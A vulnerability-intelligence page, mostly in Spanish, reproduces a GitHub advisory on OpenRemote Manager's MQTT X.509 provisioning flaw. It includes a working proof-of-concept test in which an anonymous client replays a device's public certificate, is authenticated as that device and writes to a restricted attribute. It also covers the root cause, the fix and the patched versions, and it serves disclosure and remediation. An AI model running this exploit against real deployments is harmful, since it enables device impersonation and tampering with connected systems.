llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.openremote:openremote-manager

GHSA-7JP3-2229-XGQJ

X.509 MQTT provisioning authenticates arbitrary anonymous connections as existing devices

Parche disponible
Descargar PNG JSON
CVSS 4.0
9.2
Crítica
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:L/SA:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a 4 d de la divulgación
Exposición17 dDesde la divulgación, 4 nov 2026, 5:31 a. m.
Detección15 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Agenda el parche antes del almuerzo, ¿sí?Hoy no arde, pero ya hay humo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.34.0
Monitoreo
Detectada +1
4 nov 26
8 nov 26
19 nov 26
21 nov 26
4 nov 26
8 nov 26
13 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-7JP3-2229-XGQJ divulgada · CVSS 9.2 (GitHub)
Remediación Parche 1.34.0 io.openremote:openremote-manager · 4 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The MQTT X.509 provisioning flow accepts a certificate copied into an ordinary
MQTT message and uses it to authenticate the current MQTT connection. The
handler verifies that the supplied certificate was signed by the configured CA,
is valid, and has a common name matching the device ID in the topic. It does
not verify that the current connection presented that certificate or that the
sender possesses the corresponding private key.

As a result, an unauthenticated client that knows the public certificate of an
already provisioned device can authenticate its own MQTT connection as that
device's existing service account. The attacker does not need the device's
private key, username, or password.

Affected component

The vulnerable code is in
`manager/src/main/java/org/openremote/manager/mqtt/UserAssetProvisioningMQTTHandler.java`:

  • `canPublish()` allows a connection to publish to
  • `processX509ProvisioningMessage()` reads the certificate from the MQTT
  • `getMatchingX509ProvisioningConfig()` verifies the supplied certificate's
  • `getCreateClientServiceUser()` returns the existing service account for an
  • The handler authenticates the current connection with that existing service

The message model contains only a PEM certificate:
`model/src/main/java/org/openremote/model/provisioning/X509ProvisioningMessage.java:23-32`.
It contains no nonce, signature, challenge response, or other proof of private
key possession.

Security impact

After successful impersonation, the attacker receives exactly the permissions
assigned to the targeted device's service account. Depending on the
provisioning configuration, this can allow the attacker to:

  • read assets, attributes, and telemetry available to the device;
  • write attributes and change device state;
  • control actuators if the service account has actuator write permissions;
  • subscribe to device asset and attribute events;
  • modify or disrupt device operation within the account's asset scope;
  • access additional assets if the service account was configured with broad

The demonstrated impact is unauthorized modification of a restricted asset
attribute. No remote code execution was demonstrated, and the vulnerability
does not automatically grant administrator privileges beyond those assigned to
the impersonated service account.

Attack preconditions

The attacker needs:

  • network access to the MQTT listener and the ability to publish MQTT messages;
  • the target device ID used in the provisioning topic;
  • the target device's public PEM certificate;
  • a deployment where the target device has already been provisioned.

The attacker does not need:

  • an OpenRemote account or MQTT username/password;
  • the target device's private key;
  • a client certificate presented during the MQTT/TLS handshake in the tested
  • user interaction.

If an operator separately requires mTLS before accepting any MQTT connection,
that transport-level control is an additional deployment precondition. The
application handler still does not compare a payload certificate with the TLS
peer certificate, so the payload must not be treated as a replacement for
transport authentication.

The public certificate is not a secret. It may be present in device firmware,
device configuration, provisioning packages, logs, support material, or be
observable wherever the legitimate provisioning message is transmitted. The
certificate still has to be for the target device and signed by the configured
CA; a random forged certificate is rejected by the existing CA and validity
checks.

Technical details

The intended first-time provisioning and re-authentication paths share the same
logic:

  1. An anonymous MQTT connection publishes to the device's provisioning request
  2. The handler parses the PEM certificate from the message body.
  3. The handler verifies the certificate against the configured CA and checks
  4. The handler looks up the existing `service-account-provisioning-{deviceId}`
  5. The handler calls `authenticateConnection()` for the *current* MQTT
  6. Subsequent MQTT authorization checks use the service account subject now

The missing security property is proof of possession. A valid public
certificate proves only that the certificate was issued by the CA; it does not
prove that the sender controls the corresponding private key.

Example exploit flow

The following reproduces the issue against the tested commit in the local
integration environment.

1. Start the test dependencies
docker compose -f profile/dev-testing.yml -p openremote up -d --no-build

Use JDK 21 or later; the tested run used Temurin JDK 25.0.2. Do not run the
test until the PoC block in step 2 has been inserted.

The test uses the following existing test resources:

  • `test/src/test/resources/org/openremote/test/provisioning/ca.pem`
  • `test/src/test/resources/org/openremote/test/provisioning/device1.pem`
  • `test/src/test/resources/org/openremote/test/provisioning/device1.key`

The exploit does not use `device1.key`; only `device1.pem` is sent by the
attacker.

2. Apply the complete PoC harness

The existing test already creates the `building` realm, enables X.509
provisioning, creates the `device1` asset, and connects two anonymous MQTT
clients. Insert the following block immediately after the existing assertion
that the legitimate client connection is maintained and immediately before
the test's `when: "the client gets abruptly disconnected"` block.

The attacker connection is already created by the existing test with no username,
password, TLS client certificate, or private key:

def mqttDevice1SnoopClientId = UniqueIdentifierGenerator.generateId("device1snoop")
device1SnoopClient = new MQTT_IOClient(
        mqttDevice1SnoopClientId, mqttHost, mqttPort,
        false, false, null, null, null
)
device1SnoopClient.connect()

These setup lines are shown for clarity and are already present in the base
test; do not add a second declaration when applying the PoC block.

The test waits until this connection reaches `ConnectionStatus.CONNECTED`
before executing the PoC below.

Before the PoC insertion point, the legitimate client provisions `device1`
using the same public certificate and the test waits for a successful
`SuccessResponseMessage`:

device1Client.sendMessage(
        new MQTTMessage<String>(device1RequestTopic, ValueUtil.asJSON(
                new X509ProvisioningMessage(getClass().getResource(
                        "/org/openremote/test/provisioning/device1.pem"
                ).text)
        ).orElse(null))
)

The block below is the complete dynamic PoC that was executed. It uses the
already declared variables `device1SnoopClient`, `mqttDevice1SnoopClientId`,
`device1RequestTopic`, `device1UniqueId`, `weatherAsset`, `provisioningConfig`,
`identityService`, `managerTestSetup`, `mqttBrokerService`,
`assetStorageService`, and `conditions`; the remaining names are already
imported by the test. No private key is read or sent.

when: "an unrelated anonymous client reuses the known device certificate"
def device1ServiceUser = identityService.getIdentityProvider().getUserByUsername(
        managerTestSetup.realmBuildingName,
        User.SERVICE_ACCOUNT_PREFIX + PROVISIONING_USER_PREFIX + device1UniqueId
)
device1SnoopClient.sendMessage(
        new MQTTMessage<String>(device1RequestTopic, ValueUtil.asJSON(
                new X509ProvisioningMessage(getClass().getResource(
                        "/org/openremote/test/provisioning/device1.pem"
                ).text)
        ).orElse(null))
)

then: "the second connection is authenticated as the existing device user"
conditions.eventually {
    def attackerConnection =
            mqttBrokerService.getConnectionFromClientID(mqttDevice1SnoopClientId)
    assert attackerConnection != null
    assert mqttBrokerService.getUserConnections(device1ServiceUser.id)
            .contains(attackerConnection)
}

when: "the unrelated client writes to the device asset"
device1SnoopClient.sendMessage(
        new MQTTMessage<String>(
                "$provisioningConfig.realm/$mqttDevice1SnoopClientId/$DefaultMQTTHandler.ATTRIBUTE_VALUE_WRITE_TOPIC/customAttribute/${weatherAsset.id}",
                "31337"
        )
)

then: "the write is accepted with the impersonated device privileges"
conditions.eventually {
    def attackerModifiedAsset = assetStorageService.find(weatherAsset.id)
    assert attackerModifiedAsset.getAttribute("customAttribute")
            .flatMap { it.getValue() }.orElse(0d) == 31337d
}

when: "the attacker connection is removed"
device1SnoopClient.disconnect()

then: "the attacker connection is removed from the broker"
conditions.eventually {
    assert mqttBrokerService.getConnectionFromClientID(mqttDevice1SnoopClientId) == null
}

The preceding test code has already performed the legitimate provisioning
request from client A using `device1.pem`. The inserted block sends the same
public certificate from client B, which has a different MQTT client ID and is
still anonymous at the transport layer. The response subscription is not used
as proof of success; the authoritative checks are the authenticated connection
set and the restricted attribute write.

3. Run the PoC

From the repository root, after inserting the block above, run:

./gradlew :test:test \
  --tests org.openremote.test.provisioning.UserAndAssetProvisioningTest

The local verification used `--offline` because all dependencies were already
cached; omit it when Gradle should download missing dependencies.

Expected vulnerable result:

Results: SUCCESS (1 tests, 1 passed, 0 failed, 0 skipped)
BUILD SUCCESSFUL

The test passes only if the second anonymous connection is accepted as the
existing device user and the value `31337` is persisted. With a correct fix,
the provisioning request from client B must be rejected or leave its subject
anonymous, and the attribute write must fail.

Demonstrated result

The behavior was verified locally against commit
`74f902417fe437e235f6b24757150ea262bda110` using the existing integration
environment and the PoC sequence described above. The vulnerable product code
was not patched during this verification. The PoC was run through the existing
`UserAndAssetProvisioningTest` infrastructure as a local test harness; the
relevant MQTT actions and assertions are included in this report so the
maintainer can reproduce them independently.

The local run completed successfully:

Results: SUCCESS (1 tests, 1 passed, 0 failed, 0 skipped)
BUILD SUCCESSFUL

The test demonstrated all of the following:

  • client B connected anonymously with a different MQTT client ID;
  • client B sent only the public `device1.pem` certificate;
  • client B was associated with the existing `device1` service account;
  • client B successfully wrote `31337` to a restricted attribute of the

The following table summarizes the proof supplied by each assertion:

| Security property | Evidence in the PoC |
| --- | --- |
| No prior credentials | Client B is created with `false, false, null, null, null` and connects anonymously. |
| Certificate is public only | The attacker reads `device1.pem`; `device1.key` is never read or sent. |
| Identity takeover occurred | Client B's broker connection appears in `getUserConnections(device1ServiceUser.id)`. |
| Authorization was inherited | Client B writes `31337` to the restricted `customAttribute`. |
| This is not forged-certificate acceptance | The base test separately rejects `device2_expired.pem` and `device4_forged.pem`. |

Root cause

The provisioning handler treats a CA-valid certificate embedded in an MQTT
payload as an authentication credential. It does not establish a cryptographic
relationship between that certificate and the connection sending the payload.
Consequently, possession of a public certificate is incorrectly treated as
proof of identity.

Recommended fix

The provisioning flow should authenticate the transport connection using a
cryptographic proof tied to the device identity:

  1. For mTLS deployments, validate the client certificate during the TLS
  2. For bootstrap flows that cannot use mTLS, issue a server-side nonce and
  3. Do not re-authenticate an arbitrary existing connection solely because a
  4. Keep first-time enrollment and re-authentication separate, and bind an
  5. Add regression tests for:
  6. an anonymous client replaying a legitimate public certificate, expected to
  7. a different anonymous client replaying the certificate with a different
  8. a legitimate client proving possession of the private key, expected to
  9. expired, forged, and wrong-CN certificates, which must remain rejected.
Suggested safe behavior

For an existing device, a provisioning request that contains only a public PEM
should never be sufficient to authenticate the current MQTT connection. The
server should return an authorization error unless the connection has already
been authenticated with the matching TLS certificate or has supplied a valid
proof-of-possession signature.

References

  • `manager/src/main/java/org/openremote/manager/mqtt/UserAssetProvisioningMQTTHandler.java`
  • `manager/src/main/java/org/openremote/manager/mqtt/MQTTBrokerService.java`
  • `model/src/main/java/org/openremote/model/provisioning/X509ProvisioningMessage.java`
  • Existing integration test infrastructure:
  • Tested commit: `74f902417fe437e235f6b24757150ea262bda110`

If the issue is confirmed and the advisory is published, I would appreciate assignment of a CVE ID and credit as the reporter.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:L
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:L
AltoBajoNinguno
Disponib. (posterior)SA:L
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.openremote:openremote-manager≤ 1.33.0
1.33.0
1.34.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenio.openremote:openremote-manager
Corregida 1.34.0 4 d 1.34.1 no afectada
Versiones corregidas1.34.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/openremote/core/security/advisories/GHSA-7jp3-2229-xgqj

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.